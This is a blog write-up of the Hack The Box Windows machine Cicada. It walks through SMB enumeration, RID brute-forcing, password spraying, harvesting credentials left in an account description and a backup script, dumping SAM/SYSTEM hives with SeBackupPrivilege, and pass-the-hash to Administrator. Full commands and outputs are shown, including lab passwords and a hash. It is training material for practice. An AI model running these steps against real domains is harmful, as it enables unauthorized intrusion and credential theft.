Cicada – A HTB Writeup

Cicada profile from Hack The Box.

It’s been a while since I’ve done a Hack The Box Machine. In this writeup, I’ll be going through my thought process hacking Cicada.

This was a fun little Windows box – there was a lot of pivoting and it was a good review of Windows Pentesting, especially after receiving my GPEN.

Enough yapping. Let’s dive in!

Recon

Scanning

First things first, I added cicada’s IP to my /etc/hosts file so it’s easy to remember.

I also find that most HTB machines that are web hosts are configured with the hostname <machine>.htb. So, if this ends up being web server, I’ll have to do this anyways.

As with every HTB machine, the first thing I try is a quick nmap scan:

$ sudo nmap -T 4 -p- cicada.htb

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 21:37 PST
Nmap scan report for cicada.htb (10.10.11.35)
Host is up (0.11s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
58689/tcp open  unknown

Just by looking at some of the ports open (LDAP, kerberos, DNS), I can tell that this Windows machine is most likely a domain controller.

I followed up this scan with a more detailed one on the open ports:

$ sudo nmap -sVC -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,58689 -oA version_script cicada.htb

Nothing much else useful was dug up. But, we did get a fully qualified domain name (CICADA-DC.cicada.htb) which may be useful later. nmap also found that the server is running smb2-security-mode: 3:1:1.

That concludes the scanning. Pretty easy start so far.

Enumeration

Out of these ports, the most interesting standing out to me were:

  • Kerberos (88/tcp) – Windows authentication protocol using a ticketing system
  • Microsoft-DS (445/tcp) – Allows the Server Message Block (SMB) protocol to operate over TCP for file/printer sharing

I prioritized SMB first because there could be some interesting shares listed that unauthenticated users could have access to. Unauthenticated access is always a good place to start.

Kerberos may be useful later once I have a valid account. Attacks such as Kerberoasting (cracking hashes revealed in service tickets) and Silver/Golden ticket attacks may be useful later for pivoting and/or privilege escalation.

But, that usually requires a valid domain account first.

To interact with shares, I used Impacket’s smbclient.py:

smbclient.py guest:@cicada.htb

I used the account guest with a blank password to test anonymous access. If that didn’t work, trying anonymous with a blank password would have been the next attempt.

I like using smbclient.py because you can interactively switch between shares.

Here, I listed shares with shares:

# shares
ADMIN$
C$
DEV
HR
IPC$
NETLOGON
SYSVOL

Next, I tried seeing which shares I had access to using use <share name. As the guest, I only had access to HR:

# use HR
# ls
drw-rw-rw-          0  Thu Mar 14 23:26:17 2024 .
drw-rw-rw-          0  Thu Mar 14 05:21:29 2024 ..
-rw-rw-rw-       1266  Wed Aug 28 10:31:48 2024 Notice from HR.txt

The only thing in it is a “Notice from HR.” That’s definitely something we want to check out.

I used get to grab it so I can read it on my local. It’s a notice to change the password from the default, which is clearly mentioned in this line:

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

This is most likely our path to initial access. Spraying this around could lead us to compromising some lazy user who forgot to change their password.

First, we need valid usernames to test against.

User Enumeration

Since SMB is available to us, we can try using rpcclient to get the information we need. rpcclient is a nifty tool for interacting with Window’s RPC servers. It can be useful for enumerating shares and user information.

Let’s use it to list domain users:

rpcclient -U guest cicada.htb
Password for [WORKGROUP\guest]:
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED

No dice…

Fret not, we can try brute-forcing RIDs!

RIDs (Relative Identifiers) are the guessable part of SIDs (Security Identifiers) which are used to identify objects in Active Directory. Including user accounts!

We can use another tool from Impacket, lookupsid.py to iterate through RIDs:

$ lookupsid.py guest@cicada.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Brute forcing SIDs at cicada.htb
[*] StringBinding ncacn_np:cicada.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-917908876-1423158569-3159038727
498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\Administrator (SidTypeUser)
...
1104: CICADA\john.smoulder (SidTypeUser)
1105: CICADA\sarah.dantelia (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious (SidTypeUser)
1109: CICADA\Dev Support (SidTypeGroup)
1601: CICADA\emily.oscars (SidTypeUser)                                 

I omitted some of the default accounts, but some clear user accounts include:

  • john.smoulder
  • sarah.dantelia
  • michael.wrightson
  • david.orelious
  • emily.oscars

I threw these in a file called users.txt as prep for some password spraying.

Initial Access

We were given a default password in the HR Notice. Combined with our list of domain users, we have enough information to start spraying passwords.

We’ll continue our theme of abusing SMB by using a Metasploit module called smb_login to try the default password against these accounts:

msf6 auxiliary(scanner/smb/smb_login) > options

RHOSTS: cicada.htb
SMBPass: <PASSWORD>
USER_FILE: /tmp/users.txt

Since this isn’t a Metasploit tutorial, I just showed you a condensed version of the options I set. I highly recommend spending time learning how to use this tool if you haven’t yet.

Running the module, we get a vulnerable account!

msf6 auxiliary(scanner/smb/smb_login) > run
[*] 10.10.11.35:445       - 10.10.11.35:445 - Starting SMB login bruteforce
[-] 10.10.11.35:445       - 10.10.11.35:445 - Failed: '.\john.smoulder:<PASSWORD>',
[-] 10.10.11.35:445       - 10.10.11.35:445 - Failed: '.\sarah.dantelia:<PASSWORD>',
[+] 10.10.11.35:445       - 10.10.11.35:445 - Success: '.\michael.wrightson:<PASSWORD>'
[-] 10.10.11.35:445       - 10.10.11.35:445 - Failed: '.\david.orelious:<PASSWORD>',
[-] 10.10.11.35:445       - 10.10.11.35:445 - Failed: '.\emily.oscars:<PASSWORD>'

Our first compromise will be michael.wrightson!

First victim – Michael

There were quite a few shares we didn’t have access to with guest. The guest account was also pretty limited with rpcclient. Let’s see what Mikey can do.

I didn’t feel like manually interacting with rpcclient and smbclient.py all over again, so I used enum4linux-ng to do the enumeration for me:

 $ ./enum4linux-ng.py -u michael.wrightson -p '<PASSWORD>' cicada.htb
 
 ...
 
 ===================================
|    Users via RPC on cicada.htb    |
 ===================================
[*] Enumerating users via 'querydispinfo'
[+] Found 8 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 8 user(s) via 'enumdomusers'

...

'1108':
  username: david.orelious
  name: (null)
  acb: '0x00000210'
  description: Just in case I forget my password is <PASSWORD>

I truncated the output but as you can see, a user stored their password in their account’s description. How realistic 😀

I honestly wouldn’t have thought to check the user’s description, so it’s good to cover all the bases you can! Knowledge is power and all that.

enum4linux handily tells us what it’s doing behind the scenes with rpcclient. You can manually do this in an interactive session:

$ rpcclient -U michael.wrightson cicada.htb
Password for [WORKGROUP\michael.wrightson]:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[john.smoulder] rid:[0x450]
user:[sarah.dantelia] rid:[0x451]
user:[michael.wrightson] rid:[0x452]
user:[david.orelious] rid:[0x454]
user:[emily.oscars] rid:[0x641]
rpcclient $> querydispinfo
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain
index: 0xfeb RID: 0x454 acb: 0x00000210 Account: david.orelious Name: (null)    Desc: Just in case I forget my password is <PASSWORD>
index: 0x101d RID: 0x641 acb: 0x00000210 Account: emily.oscars  Name: Emily Oscars      Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000214 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xfe7 RID: 0x450 acb: 0x00000210 Account: john.smoulder  Name: (null)    Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null)    Desc: Key Distribution Center Service Account
index: 0xfe9 RID: 0x452 acb: 0x00000210 Account: michael.wrightson      Name: (null)    Desc: (null)
index: 0xfe8 RID: 0x451 acb: 0x00000210 Account: sarah.dantelia Name: (null)    Desc: (null)

Pretty cool to know where the results come from. Using rpcclient directly in this way would be less noisy, adding a layer of stealth if that’s a concern.

Anyways…Time to get more access!

Second victim – David

I wasted no time and ran enum4linux again:

$ ./enum4linux-ng.py -u david.orelious -p '<PASSWORD>' cicada.htb

...

[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share DEV
[+] Mapping: OK, Listing: OK
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share SYSVOL
[-] Could not parse result of smbclient command, please open a GitHub issue

...

What’s nice about enum4-llinux is that it not only tests to see if we can lists shares, but tests to see if the user has access to those shares. We can see that the DEV share can be listed.

I’m checking that out with smbclient.py:

smbclient.py david.orelious@cicada.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# shares
ADMIN$
C$
DEV
HR
IPC$
NETLOGON
SYSVOL
# use DEV
# ls
drw-rw-rw-          0  Wed Aug 28 10:27:31 2024 .
drw-rw-rw-          0  Thu Mar 14 05:21:29 2024 ..
-rw-rw-rw-        601  Wed Aug 28 10:28:22 2024 Backup_script.ps1

enum4llinux was right. We can in fact list the DEV share.

I grabbed the Backup_script.ps1 and looked at the contents:

$username = "emily.oscars"
$password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force

And in these couple of lines, we get the plain-text credentials for emily. Doesn’t get much easier than that folks.

Third victim – Emily

You know the drill! enum4linux time!

$ ./enum4linux-ng.py -S -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' cicada.htb

[*] Testing share ADMIN$
[+] Mapping: OK, Listing: OK
[*] Testing share C$
[+] Mapping: OK, Listing: OK
[*] Testing share DEV
[+] Mapping: OK, Listing: DENIED
[*] Testing share HR
[+] Mapping: OK, Listing: OK
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[-] Could not parse result of smbclient command, please open a GitHub issue
[*] Testing share SYSVOL
[-] Could not parse result of smbclient command, please open a GitHub issue

Seems like we get access to the ADMIN$ and C$ share.

You may have noticed I used the -S option this time, since I was only concerned with what shares emily has access to. Always nice to clean up the output and save some time when you can.

Let’s do some exploring with emily. I can indeed list the ADMIN$ share and can access the directory where the SAM file is stored:

$ smbclient.py emily.oscars@cicada.htb

# use ADMIN$
# cd System32/config
# pwd
/System32/config

I have a feeling this can be used for PrivEsc later. So, I’ll come back to this.

For now, I’m going to try and find the user flag in C$:

$ smbclient.py emily.oscars@cicada.htb

# use C$
# cd /Users/emily.oscars.CICADA/Desktop
# ls
drw-rw-rw-          0  Wed Aug 28 10:32:18 2024 .
drw-rw-rw-          0  Thu Aug 22 14:22:12 2024 ..
-rw-rw-rw-         34  Tue Dec 17 09:04:12 2024 user.txt

After some poking around, I eventually found the flag in the user’s desktop. It wasn’t as straightforward as above. I just shortened the output for PoC.

Privilege Escalation

I’m kind of tired of just having SMB share access. I’d really like to have a shell.

If you remember from my nmap scan, WinRM is open:

5985/tcp  open  wsman

I used evil-winrm to connect to it from my linux host:

evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>

And we get dropped into the document’s folder.

Checking the user’s privileges, we see some interesting settings:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The SeBackupPrivilege was particularly interesting. Here’s what Chat-GPT had to say about it (because we don’t Google much anymore):

SeBackupPrivilege
Description: Allows the user to bypass file and directory permissions when reading data to perform backups.
Implications:
You can read sensitive files (e.g., SAM, SYSTEM, or NTDS.dit) regardless of their permissions.
This privilege is often abused in attacks to copy or extract protected files.
Exploitation Example: Use this privilege to copy the SAM and SYSTEM files:
Then, download these files for offline analysis (e.g., cracking NTLM hashes).

Beautiful. I love having access to sensitive files. Chat-GPT was even nice enough to give me the command I would need to copy the files:

reg save hklm\sam ./sam.backup
reg save hklm\system ./system.backup

That worked!

Now I just need to get them to my local for hash extraction. evil-winrm makes that a snap:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download sam.backup

Info: Downloading C:\Users\emily.oscars.CICADA\Documents\sam.backup to sam.backup

Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download system.backup

Info: Downloading C:\Users\emily.oscars.CICADA\Documents\system.backup to system.backup

Info: Download successful!

Now to extract the hashes with secretsdump.py:

$ secretsdump.py -sam sam.backup -system system.backup LOCAL

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

Before resorting to cracking these passwords, it’d be much easier to try directly using the Administrator’s hash to access the account directly. This is called a Pass-the-hash attack.

There are a number of tools that support authentication using hashes. evil-winrm being one of them:

$ evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i cicada.htb
*Evil-WinRM* PS C:\Users\Administrator\Documents>

For some tools (Impacket’s scripts for example), you would supply the both the LM and nt hash. evil-winrm only takes the NT hash.

The flag can be found in C:\Users\Administrator\Desktop.

Conclusion

I really enjoyed hacking that box. It was a great refresher on abusing Window’s protocols after focusing on bug bounty hunting for a bit.

I took my time enumerating the protocols using both (semi)-manual and automated tools. It really helped me solidify my learning, which is the goal of all this, right?

So, I encourage you, if you haven’t, try your hand at going through Cicada.

Happy hacking!

Tools

  • nmap – port scanning
  • smbclient.py – share access
  • enum4linux-ng – automated share/user enumeration
  • rpcclient – interactive user/system enumeration
  • Metasploit’s smb_login – password spraying
  • lookupsid.py – RID bruteforceing
  • win-rm – shell access